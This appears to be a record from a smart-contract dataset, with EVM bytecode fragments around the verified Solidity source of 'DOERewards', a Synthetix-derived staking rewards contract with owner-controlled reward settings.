ffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506007819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611e0b61239e565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ecc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611f52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180613d056026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61201861239e565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612198576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60008090505b60078054905081101561239a578173ffffffffffffffffffffffffffffffffffffffff16600782815481106121cf57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561238d5760076001600780549050038154811061222b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166007828154811061226357fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600780548061235357fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055905561239a565b808060010191505061219e565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561242c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613e406024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156124b2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613d2b6022913960400191505060405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612623576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613e1b6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126a9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613cb86023913960400191505060405180910390fd5b60008111612702576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613df26029913960400191505060405180910390fd5b61270a6113a0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561277857506127486113a0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156127d9576011548111156127d8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180613d816028913960400191505060405180910390fd5b5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561287c5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156128915761288c838383612d3c565b612ac8565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129345750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561294957612944838383612fba565b612ac7565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129ed5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612a02576129fd838383613238565b612ac6565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612aa45750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ab957612ab4838383613421565b612ac5565b612ac4838383613238565b5b5b5b5b505050565b6000838311158290612b7a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b3f578082015181840152602081019050612b24565b50505050905090810190601f168015612b6c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000806000612b9a613734565b91509150612bb18183612bb890919063ffffffff16565b9250505090565b6000612bfa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506139c8565b905092915050565b600080828401905083811015612c80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000806000806000806000806000612ca78a600f54601054613a8e565b9250925092506000612cb7612b8d565b90506000806000612cca8e878787613b24565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612d3483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612acd565b905092915050565b6000612d46612b8d565b9050600080600080600080612d5a88612c8a565b9550955095509550955095506000612d7b8883613bad90919063ffffffff16565b9050612dcf89600460008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf290919063ffffffff16565b600460008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e6487600360008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf290919063ffffffff16565b600360008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ef986600360008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c0290919063ffffffff16565b600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f4885828585613c33565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35050505050505050505050565b6000612fc4612b8d565b9050600080600080600080612fd888612c8a565b9550955095509550955095506000612ff98883613bad90919063ffffffff16565b905061304d87600360008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf290919063ffffffff16565b600360008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130e284600460008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c0290919063ffffffff16565b600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061317786600360008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c0290919063ffffffff16565b600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131c685828585613c33565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35050505050505050505050565b6000613242612b8d565b905060008060008060008061325688612c8a565b95509550955095509550955060006132778883613bad90919063ffffffff16565b90506132cb87600360008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf290919063ffffffff16565b600360008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061336086600360008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c0290919063ffffffff16565b600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133af85828585613c33565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35050505050505050505050565b600061342b612b8d565b905060008060008060008061343f88612c8a565b95509550955095509550955060006134608883613bad90919063ffffffff16565b90506134b489600460008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf290919063ffffffff16565b600460008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061354987600360008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf290919063ffffffff16565b600360008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135de84600460008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c0290919063ffffffff16565b600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061367386600360008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c0290919063ffffffff16565b600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136c285828585613c33565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35050505050505050505050565b600080600060095490506000600854905060008090505b60078054905081101561398b5782600360006007848154811061376a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061385157508160046000600784815481106137e957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561386857600954600854945094505050506139c4565b6138f1600360006007848154811061387c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484612cf290919063ffffffff16565b925061397c600460006007848154811061390757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612cf290919063ffffffff16565b9150808060010191505061374b565b506139a3600854600954612bb890919063ffffffff16565b8210156139bb576009546008549350935050506139c4565b81819350935050505b9091565b60008083118290613a74576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613a39578082015181840152602081019050613a1e565b50505050905090810190601f168015613a665780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581613a8057fe5b049050809150509392505050565b600080600080613aba6064613aac888a613bad90919063ffffffff16565b612bb890919063ffffffff16565b90506000613ae46064613ad6888b613bad90919063ffffffff16565b612bb890919063ffffffff16565b90506000613b0d82613aff858c612cf290919063ffffffff16565b612cf290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613b3d8589613bad90919063ffffffff16565b90506000613b548689613bad90919063ffffffff16565b90506000613b6b8789613bad90919063ffffffff16565b90506000613b9482613b868587612cf290919063ffffffff16565b612cf290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415613bc05760009050613c2d565b6000828402905082848281613bd157fe5b0414613c28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613da96021913960400191505060405180910390fd5b809150505b92915050565b613c5a83613c4c86600954612cf290919063ffffffff16565b612cf290919063ffffffff16565b600981905550613c7582600a54612c0290919063ffffffff16565b600a81905550613c9081600b54612c0290919063ffffffff16565b600b81905550613cab81600854612cf290919063ffffffff16565b6008819055505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573736d61785478416d6f756e742073686f756c642062652067726561746572207468616e2031303030303030303030303030303065395472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737357652063616e206e6f74206578636c75646520556e697377617020726f757465722e4578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6f636b45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220707ea45dc96d2678ac0216b3605bcaac5f37d391a1e8f5d71aba13d68deb1bf564736f6c63430006000033
|
{"success": true, "error": null, "results": {}}
| 6,336 |
0x60C6b5DC066E33801F2D9F2830595490A3086B4e
|
/**
*Submitted for verification at Etherscan.io on 2021-11-05
*/
//SPDX-License-Identifier: MIT
// DOERewards based on contracts by Synthetix and Yearn Finance.
// Licensed under: MIT
// Credit to them.
// File: @openzeppelin/contracts/ownership/Ownable.sol
pragma solidity ^0.8.7;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StakedTokenWrapper {
uint256 public totalSupply;
mapping(address => uint256) private _balances;
IERC20 public stakedToken;
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
string constant _transferErrorMessage = "staked token transfer failed";
function stakeFor(address forWhom, uint128 amount) public payable virtual {
IERC20 st = stakedToken;
if(st == IERC20(address(0))) { //eth
unchecked {
totalSupply += msg.value;
_balances[forWhom] += msg.value;
}
}
else {
require(msg.value == 0, "non-zero eth");
require(amount > 0, "Cannot stake 0");
require(st.transferFrom(msg.sender, address(this), amount), _transferErrorMessage);
unchecked {
totalSupply += amount;
_balances[forWhom] += amount;
}
}
emit Staked(forWhom, amount);
}
function withdraw(uint128 amount) public virtual {
require(amount <= _balances[msg.sender], "withdraw: balance is lower");
unchecked {
_balances[msg.sender] -= amount;
totalSupply = totalSupply-amount;
}
IERC20 st = stakedToken;
if(st == IERC20(address(0))) { //eth
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "eth transfer failure");
}
else {
require(stakedToken.transfer(msg.sender, amount), _transferErrorMessage);
}
emit Withdrawn(msg.sender, amount);
}
}
contract DOERewards is StakedTokenWrapper, Ownable {
IERC20 public rewardToken;
uint256 public rewardRate;
uint64 public periodFinish;
uint64 public lastUpdateTime;
uint128 public rewardPerTokenStored;
struct UserRewards {
uint128 userRewardPerTokenPaid;
uint128 rewards;
}
mapping(address => UserRewards) public userRewards;
event RewardAdded(uint256 reward);
event RewardPaid(address indexed user, uint256 reward);
constructor(IERC20 _rewardToken, IERC20 _stakedToken) {
rewardToken = _rewardToken;
stakedToken = _stakedToken;
}
modifier updateReward(address account) {
uint128 _rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
rewardPerTokenStored = _rewardPerTokenStored;
userRewards[account].rewards = earned(account);
userRewards[account].userRewardPerTokenPaid = _rewardPerTokenStored;
_;
}
function lastTimeRewardApplicable() public view returns (uint64) {
uint64 blockTimestamp = uint64(block.timestamp);
return blockTimestamp < periodFinish ? blockTimestamp : periodFinish;
}
function rewardPerToken() public view returns (uint128) {
uint256 totalStakedSupply = totalSupply;
if (totalStakedSupply == 0) {
return rewardPerTokenStored;
}
unchecked {
uint256 rewardDuration = lastTimeRewardApplicable()-lastUpdateTime;
return uint128(rewardPerTokenStored + rewardDuration*rewardRate*1e18/totalStakedSupply);
}
}
function earned(address account) public view returns (uint128) {
unchecked {
return uint128(balanceOf(account)*(rewardPerToken()-userRewards[account].userRewardPerTokenPaid)/1e18 + userRewards[account].rewards);
}
}
function stake(uint128 amount) external payable {
stakeFor(msg.sender, amount);
}
function stakeFor(address forWhom, uint128 amount) public payable override updateReward(forWhom) {
super.stakeFor(forWhom, amount);
}
function withdraw(uint128 amount) public override updateReward(msg.sender) {
super.withdraw(amount);
}
function exit() external {
getReward();
withdraw(uint128(balanceOf(msg.sender)));
}
function getReward() public updateReward(msg.sender) {
uint256 reward = earned(msg.sender);
if (reward > 0) {
userRewards[msg.sender].rewards = 0;
require(rewardToken.transfer(msg.sender, reward), "reward transfer failed");
emit RewardPaid(msg.sender, reward);
}
}
function setRewardParams(uint128 reward, uint64 duration) external onlyOwner {
unchecked {
require(reward > 0);
rewardPerTokenStored = rewardPerToken();
uint64 blockTimestamp = uint64(block.timestamp);
uint256 maxRewardSupply = rewardToken.balanceOf(address(this));
if(rewardToken == stakedToken)
maxRewardSupply -= totalSupply;
uint256 leftover = 0;
if (blockTimestamp >= periodFinish) {
rewardRate = reward/duration;
} else {
uint256 remaining = periodFinish-blockTimestamp;
leftover = remaining*rewardRate;
rewardRate = (reward+leftover)/duration;
}
require(reward+leftover <= maxRewardSupply, "not enough tokens");
lastUpdateTime = blockTimestamp;
periodFinish = blockTimestamp+duration;
emit RewardAdded(reward);
}
}
function withdrawReward() external onlyOwner {
uint256 rewardSupply = rewardToken.balanceOf(address(this));
//ensure funds staked by users can't be transferred out
if(rewardToken == stakedToken)
rewardSupply -= totalSupply;
require(rewardToken.transfer(msg.sender, rewardSupply));
rewardRate = 0;
periodFinish = uint64(block.timestamp);
}
}
// Licenses and credits below
/*
____ __ __ __ _
/ __/__ __ ___ / /_ / / ___ / /_ (_)__ __
_\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ /
/___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\
/___/
* Synthetix: YFIRewards.sol
*
* Docs: https://docs.synthetix.io/
*
*
* MIT License
* ===========
*
* Copyright (c) 2020 Synthetix
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
|
0x6080604052600436106101345760003560e01c806389ee4bde116100ab578063cd3daf9d1161006f578063cd3daf9d146103c2578063df136d65146103ed578063e9fad8ee14610418578063ebe2b12b1461042f578063f2fde38b1461045a578063f7c618c11461048357610134565b806389ee4bde146103015780638da5cb5b1461032a578063c885bc5814610355578063c8f33c911461036c578063cc7a262e1461039757610134565b806370458d85116100fd57806370458d851461021f57806370a082311461023b578063715018a6146102785780637b0a47ee1461028f57806380faa57d146102ba57806388fe2be8146102e557610134565b80628cc2621461013957806302387a7b146101765780630660f1e81461019f57806318160ddd146101dd5780633d18b91214610208575b600080fd5b34801561014557600080fd5b50610160600480360381019061015b9190611fd4565b6104ae565b60405161016d91906124cc565b60405180910390f35b34801561018257600080fd5b5061019d6004803603810190610198919061206e565b6105c5565b005b3480156101ab57600080fd5b506101c660048036038101906101c19190611fd4565b610743565b6040516101d4929190612502565b60405180910390f35b3480156101e957600080fd5b506101f261079f565b6040516101ff919061252b565b60405180910390f35b34801561021457600080fd5b5061021d6107a5565b005b61023960048036038101906102349190612001565b610af9565b005b34801561024757600080fd5b50610262600480360381019061025d9190611fd4565b610c79565b60405161026f919061252b565b60405180910390f35b34801561028457600080fd5b5061028d610cc2565b005b34801561029b57600080fd5b506102a4610e13565b6040516102b1919061252b565b60405180910390f35b3480156102c657600080fd5b506102cf610e19565b6040516102dc9190612546565b60405180910390f35b6102ff60048036038101906102fa919061206e565b610e74565b005b34801561030d57600080fd5b506103286004803603810190610323919061209b565b610e81565b005b34801561033657600080fd5b5061033f61126f565b60405161034c91906122eb565b60405180910390f35b34801561036157600080fd5b5061036a611295565b005b34801561037857600080fd5b50610381611549565b60405161038e9190612546565b60405180910390f35b3480156103a357600080fd5b506103ac611563565b6040516103b9919061238f565b60405180910390f35b3480156103ce57600080fd5b506103d7611589565b6040516103e491906124cc565b60405180910390f35b3480156103f957600080fd5b50610402611648565b60405161040f91906124cc565b60405180910390f35b34801561042457600080fd5b5061042d61166a565b005b34801561043b57600080fd5b50610444611685565b6040516104519190612546565b60405180910390f35b34801561046657600080fd5b50610481600480360381019061047c9190611fd4565b61169f565b005b34801561048f57600080fd5b5061049861173b565b6040516104a5919061238f565b60405180910390f35b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16670de0b6b3a7640000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff16610591611589565b036fffffffffffffffffffffffffffffffff166105ad85610c79565b02816105bc576105bb6126de565b5b04019050919050565b3360006105d0611589565b90506105da610e19565b600660086101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555080600660106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550610644826104ae565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555061073e83611761565b505050565b60076020528060005260406000206000915090508060000160009054906101000a90046fffffffffffffffffffffffffffffffff16908060000160109054906101000a90046fffffffffffffffffffffffffffffffff16905082565b60005481565b3360006107b0611589565b90506107ba610e19565b600660086101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555080600660106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550610824826104ae565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055506000610920336104ae565b6fffffffffffffffffffffffffffffffff1690506000811115610af4576000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610a14929190612366565b602060405180830381600087803b158015610a2e57600080fd5b505af1158015610a42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a669190612041565b610aa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9c9061242c565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff167fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e048682604051610aeb919061252b565b60405180910390a25b505050565b816000610b04611589565b9050610b0e610e19565b600660086101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555080600660106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550610b78826104ae565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550610c738484611b0b565b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d49906124ac565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055481565b600080429050600660009054906101000a900467ffffffffffffffff1667ffffffffffffffff168167ffffffffffffffff1610610e6c5760066000905